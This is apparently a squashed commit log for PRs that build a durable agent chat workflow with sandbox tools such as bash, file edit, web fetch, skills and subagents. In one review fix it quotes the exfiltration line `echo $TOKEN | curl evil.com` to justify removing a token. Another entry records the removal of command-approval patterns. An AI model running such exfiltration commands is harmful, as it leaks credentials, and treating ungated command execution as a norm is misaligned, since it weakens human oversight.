handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.
What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
existing active_stream_id (resume / 409 / fall-through) → refresh
lifecycle activity → fire-and-forget persist user message → start
runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
return run.getReadable() with x-workflow-run-id header
New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId
New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop
New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn
Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.
Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — structural + P1/P2 fixes
Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
- Generic `updateChat({filter, updates})` with optional CAS predicate
on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
touchChat (both deleted).
- Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
domain-specific isFirstChatMessage. The "is earliest?" check now
lives in persistLatestUserMessage where it belongs.
- Rename createChatMessageIfNotExists → `upsertChatMessage` with a
discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
(OCP — handler stays small, resume logic grows independently).
cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
`pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
race where two requests could both bill the model before one lost the
CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
clears stale active_stream_id on transient workflow API failures —
we treat any uncertainty as conflict. Failed CAS-clear on a completed
run also returns conflict (rather than possibly falling through to
ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
unawaited cancellation could escape the try/catch.
cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
lands with tool ports (PR 4). Multi-turn loop with the same input was
unsafe — log+warn if model returns tool-calls and exit.
Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): top-level import in reconcileExistingActiveStream
The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.
Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): move active_stream_id CAS out of supabase lib
Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:
- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
`where: Partial<Tables<"chats">>` (a generic predicate that maps to
`column = value` or `column IS NULL`) so no column name is hardcoded
in the Supabase lib.
- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
Owns the "compare-and-set on active_stream_id" concept and returns a
discriminated `{ok, claimed} | {ok: false, error}` result. Handler
and reconcileExistingActiveStream both compose against this wrapper
instead of constructing predicates inline.
- Handler + reconcile updated to use the wrapper. Tests follow.
37/37 tests in touched files pass; full suite 2955/2955; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth
Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).
1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
narrowing wasn't kicking in under Next.js's strict TS plugin.
Switched to `if ("error" in result)` (in-operator narrowing) which
reliably discriminates the union members regardless of literal-type
inference quirks.
2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
.update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
`.eq()` per where entry) caused "type instantiation is excessively
deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
reassignment kept expanding the type. Rewrote as: split where map
into equality matches (one `.match(obj)` call) + nullable columns
(reduced with `.is(col, null)` typed back to the original builder).
Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)
* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)
Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.
New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
adapted to api's Sandbox interface. Injects recoup env on foreground
execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
record. Adding the remaining tools is a one-line append to this map.
Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
experimental_context, and uses streamText's internal multi-step loop
(stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
via extractOrgId, builds AgentContext with session.sandbox_state +
validated.authToken, passes to start(workflow).
Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure
Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
default stop condition handles tool-call iteration without an
arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
bashTool. All model-issued commands are trusted in this PR — host-
side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
- `AgentContext.ts` — type
- `isAgentContext.ts` — guard
- `getSandbox.ts` — sandbox reconnection
No catch-all utils file.
Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
buildRecoupExecEnv. Handing the long-lived api key to bash would let
any model-issued command exfiltrate it via env (`echo $TOKEN | curl
evil.com`). Slim PR 4 has no actual consumer for the token — only
the future `skill` tool needs it. Proper short-lived token minting
will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
sandbox.state is a non-null object AND sandbox.workingDirectory is a
non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
has no enforced max-lines rule; existing tests routinely exceed 700
lines.
Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow
Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.
DRY by sharing one constant between the two chat endpoints:
- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
Inherits the value that /api/chat already uses (originally hardcoded
in getGeneralAgent.ts:55) — high enough that normal flows never hit
the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
streamText as `stopWhen`.
Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.
Full suite 2980/2980 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)
* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)
Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.
New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB
New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path
buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.
Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)
Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).
AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:
- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).
Full suite 3014/3014 pass; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)
* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)
Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.
New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
(key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
only. Global skills (~/.skills) port later alongside short-lived
token minting
New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.
Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
start(workflow); empty catalog on discovery failure (best-effort,
never blocks the request)
Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
load + return content, but its curl examples wouldn't authenticate
without ad-hoc credentials. Token minting becomes a separate PR
where it can be designed properly (Privy JWT vs server-minted JWT
scoped to accountId + sandbox session).
Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)
The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):
- \${workingDirectory}/.claude/skills/ (project, claude-style)
- \${workingDirectory}/.agents/skills/ (project, agents-style)
- \${HOME}/.agents/skills/ (global; populated at
provisioning by
installSessionGlobalSkills)
Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.
Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants
Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.
Full suite 3053/3053; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)
Two changes per user direction:
1. **YAGNI: drop project-skill directory scanning.** All skills are
provisioned globally via `installSessionGlobalSkills` at sandbox
startup — org repos do NOT bundle their own skill directories.
getSandboxSkillDirectories now returns just the single global
path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
and the PROJECT_SKILL_BASE_FOLDERS array.
2. **SRP: extract getSkills into its own file.** Previously inline in
skillTool.ts (per sweetman comment on PR 587). Now lives at
lib/skills/getSkills.ts with its own tests. Future skill-aware
consumers (e.g. system-prompt builders) share the same accessor
instead of duplicating the context-cast.
Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
- Sandbox provisioning installs 2 globals at
/home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
- Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
received 11,173 chars of SKILL.md content with the correct
"Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
header
Full suite 3055/3055; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory
Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:
- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
- 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
getSandboxSkillDirectories.ts
- 2 new unit tests (standard path, trailing-slash tolerance)
discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).
Full suite passes; lint clean; production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)
* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)
Completes the open-agents tool surface. The agent now has all 11 tools.
**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.
**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.
The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
executor/explorer/design all explicitly omit task too; subagents
are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
open-agents subagent curation; subagents run autonomously, don't
plan from scratch, don't make web calls, don't load further skills)
AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.
buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).
Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.
Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix(task-tool): provide non-empty subagent prompt
The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."
Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)
Address PR review feedback:
- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
(one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
model: LanguageModel / subagentModel?: LanguageModel. api can't follow
that exact shape because agentContext is part of a durable Vercel
Workflow input and LanguageModel objects aren't JSON-serializable.
Instead of inventing modelId on AgentContext, hardcode a default
subagent model id in taskTool. A subagentModelId override field can
be added if/when a real consumer needs it.
Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(agent): align AgentContext + model resolution with open-agents
Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):
- AgentContext gains `model: LanguageModel` (required) and
`subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
for the workflow input shape, since LanguageModel instances aren't
JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
per step and merges it into experimental_context — same pattern as
open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
mirror open-agents' utility functions: getSubagentModel returns
`ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
getSubagentModel(experimental_context, "task") instead — subagent
now defaults to the same model the parent is running.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)
* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)
First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.
New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
open-agents' gateway-metadata.ts, parses gateway-reported per-step
cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
stateful factory returning a fresh callback per turn; accumulates
usage + cost across finish-step parts.
Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).
Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage
Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:
- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
in AgentMessageMetadata)
Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
@ai-sdk/mcp: all bumped to latest stable
The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
directly)
Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
(now returns Promise<ModelMessage[]>)
Tests: 3106/3106 pass; production typecheck clean; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(task-tool): live subagent progress + transcript (Cutover Bundle B) (#594)
Convert taskTool.execute from `async () =>` to `async function*`,
mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:
- An initial "Subagent · 0 tools · 0 tokens" card with stable
startedAt timestamp
- A live `pending: {name, input}` indicator for each tool-call
- Accumulated `usage` after each finish-step
- A final `{final: ModelMessage[], ...}` chunk containing the full
subagent transcript for expandable rendering
`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.
New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
addLanguageModelUsage to handle undefined inputs without
introducing zero-tokens placeholders.
Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.
Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 22, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)
* feat(chat-workflow): add POST /api/chat/workflow route stub
Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.
Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
ChatWorkflowRequest (messages, chatId, sessionId, optional
context.contextLimit)
Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)
409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.
Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* refactor(chat-workflow): address PR review — SRP/DRY cleanup
Two review fixes per PR feedback:
1. SRP/DRY — drop the local errorResponse helper from
handleChatWorkflowStream.ts; use the shared
lib/networking/errorResponse and lib/zod/validationErrorResponse
helpers instead.
2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
so it accepts a full NextRequest (like the existing validateChatRequest)
and returns an auth-augmented body (accountId/orgId/authToken). The
handler now opens with a single `validateChatWorkflow(request)` call.
Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
into a single "validator short-circuit passes through" test — both are
now the validator's responsibility, not the handler's
22/22 new tests green; full suite 2900/2900 pass; lint clean.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* chore: revert unrelated local changes accidentally swept into PR
Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)
* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow
Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
